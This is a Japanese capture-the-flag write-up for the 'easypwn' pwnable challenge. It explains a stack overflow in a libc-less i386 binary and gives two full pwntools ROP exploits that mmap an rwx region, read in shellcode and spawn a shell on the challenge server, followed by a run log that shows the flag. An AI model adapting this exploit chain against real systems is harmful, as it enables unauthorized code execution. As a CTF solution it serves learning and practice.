= easypwn = == 問題 == Pwn me! The flag is in /home/easypwn/flag. ASLR enabled, no libs. easypwn == 解法1 == バイナリ自体は極めて簡潔ですぐに読み終わる。何しろlibcすらリンクされておらず,自力でシステムコールを呼び出している。 readで0x80バイト読み込んでおり,return addressから先0x70バイト以内を上書きできる。 よってROPでsyscallを呼び出してopen+readないしシェルをexecveすればよいのだが,なにぶんバイナリが格段に小さいため,利用できるガジェットが非常に限られている。そもそもバイナリ中にc3 (ret)が3回しか出てこない。 さらに,このバイナリには書き込みできるメモリ領域がスタックしか存在していない。このままではスタックの場所を取得しなければならない。 syscall関数は次のように,システムコールの引数を3つ分スタックから読んで,eaxで指定したシステムコールを実行するようになっている。 {{{ 08048080 : 8048080: 8b 54 24 0c mov 0xc(%esp),%edx 8048084: 8b 4c 24 08 mov 0x8(%esp),%ecx 8048088: 8b 5c 24 04 mov 0x4(%esp),%ebx 804808c: cd 80 int $0x80 804808e: c3 ret 804808f: 90 nop }}} よって,システムコールを呼び出すときにはeaxにシステムコール番号をなんとかして作り出す必要がある。 readシステムコールは,読み取った長さをeaxに格納することに注目すると,`pwn_me`内部のreadの後に0x80以下の値を作り出すことが可能である。 ただし,実際には読み取った内容でreturn addressを書き換えてROPを構成しなければならないことを考えると,ある程度大きな値でなくてはならない。 よってopen (0x5)やread (0x3)をこれによって直接作ることはできない。 そこで,次のようなガジェットが存在することに注目する。 {{{ 80480ea: 04 5e add al, 0x5e 80480ec: c3 ret }}} これを用いることで,eaxの最下位バイトだけに0x5eを加えることができるから, `(0x47 + 0x5e + 0x5e) % 256 = 0x03`のようにして小さい値を作り出すことができる。 さらに,書き込める固定されたメモリ領域が存在しないことについては, システムコールが自由に利用できるのであるからmmapで作ってしまえば良い。 パーミッションも自由に設定できるので,ここにシェルコードを置いて実行してしまえば良い。 以上より,次の方針でエクスプロイトを作成した。 まずmmapで固定されたrwxな領域を作り,もう一度`pwn_me`を呼び出してeaxを再設定して, 作成した領域にreadでシェルコードを書き込み,シェルコードへreturnする。 {{{#!highlight python import sys import time from pwn import * context(arch = 'i386', os = 'linux') SYSCALL = p32(0x8048080) POP4 = p32(0x80480bb) # add esp, 0x10; ret SETESI = p32(0x80480eb) # pop esi; ret ADD5ETOAL = p32(0x80480ea) # add al, 0x5e; ret DUMMY = "AAAA" bufaddr = 0x40400000 ############################################ rop1 = "" # eax = 0x62 rop1 += ADD5ETOAL # eax = 0xc0 (mmap2) rop1 += SETESI rop1 += p32(0x22) # MAP_ANONYMOUS|MAP_PRIVATE rop1 += SYSCALL # call mmap rop1 += POP4 rop1 += p32(bufaddr) # addr rop1 += p32(0x10000) # length rop1 += p32(7) # PROT_READ|PROT_WRITE|PROT_EXEC rop1 += DUMMY rop1 += SETESI rop1 += p32(0x8048080) # restore esi rop1 += p32(0x8048090) # re-execute pwn_me s1 = "A"*16 s1 += rop1 s1 += "A"*(0x62-len(s1)) ############################################ rop2 = "" # eax = 0x47 rop2 += ADD5ETOAL rop2 += ADD5ETOAL # eax = 0x03 rop2 += SYSCALL # call read rop2 += POP4 rop2 += p32(0) # stdin rop2 += p32(bufaddr) # buf rop2 += p32(0x80) # length rop2 += DUMMY rop2 += p32(bufaddr) # run shellcode s2 = "A"*16 s2 += rop2 s2 += "A"*(0x47-len(s2)) ############################################ shellcode = asm(shellcraft.sh()) #conn = process("./easypwn") conn = remote("pwnable.katsudon.org", 28099) print conn.recvuntil(': ') print hexii(s1) conn.send(s1) print conn.recvuntil(': ') print hexii(s2) conn.send(s2) conn.send(shellcode) conn.interactive() }}} {{{ % python exploit.py [+] Opening connection to pwnable.katsudon.org on port 28099: OK pwn me: 00000000 .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A | 00000010 ea 80 04 08 eb 80 04 08 ." 80 80 04 08 | 00000020 bb 80 04 08 .@ .@ 01 07 | 00000030 .A .A .A .A eb 80 04 08 80 80 04 08 90 80 04 08 | 00000040 .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A | * 00000060 .A | 00000061 pwn me: 00000000 .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A | 00000010 ea 80 04 08 ea 80 04 08 80 80 04 08 bb 80 04 08 | 00000020 .@ .@ 80 .A .A .A .A | 00000030 .@ .@ .A .A .A .A .A .A .A .A .A .A .A .A | 00000040 .A .A .A .A .A .A | 00000046 [*] Switching to interactive mode $ ls flag $ cat flag ADCTF_175_345y_7o_cON7ROL_5Y5c4LL $ }}} == 解法2 == hhc0nullさんにROPを二回に分けなくても出来るんじゃないかと言われたのでやってみたら, readを2回(stager + shellcode)しかしないバージョンができた。 mmapのaddrとlengthの値を同じにすることによって,次のreadの読み込み先を確保したメモリ領域にすることができる。 {{{#!highlight python import sys import time from pwn import * context(arch = 'i386', os = 'linux') SYSCALL = p32(0x8048080) POP4 = p32(0x80480bb) # add esp, 0x10; ret SETESI = p32(0x80480eb) # pop esi; ret ADD5ETOAL = p32(0x80480ea) # add al, 0x5e; ret DUMMY = "AAAA" bufaddr = 0x100000 ############################################ rop = "" # eax = 0x62 rop += ADD5ETOAL # eax = 0xc0 (mmap2) rop += SETESI rop += p32(0x22) # MAP_ANONYMOUS|MAP_PRIVATE rop += SYSCALL # call mmap rop += POP4 rop += p32(bufaddr) # addr rop += p32(bufaddr) # length (ecx) rop += p32(7) # PROT_READ|PROT_WRITE|PROT_EXEC rop += DUMMY rop += SETESI rop += p32(0x8048080) # restore esi rop += p32(0x80480a9) # read(STDIN, ecx, 128); esp += 0x10; ret rop += DUMMY*4 rop += p32(bufaddr) # run shellcode s = "A"*16 s += rop s += "A"*(0x62-len(s)) ############################################ shellcode = asm(shellcraft.sh()) #conn = process("./easypwn") conn = remote("pwnable.katsudon.org", 28099) print conn.recvuntil(': ') print hexii(s) conn.send(s) time.sleep(0.5) conn.send(shellcode) conn.interactive() }}}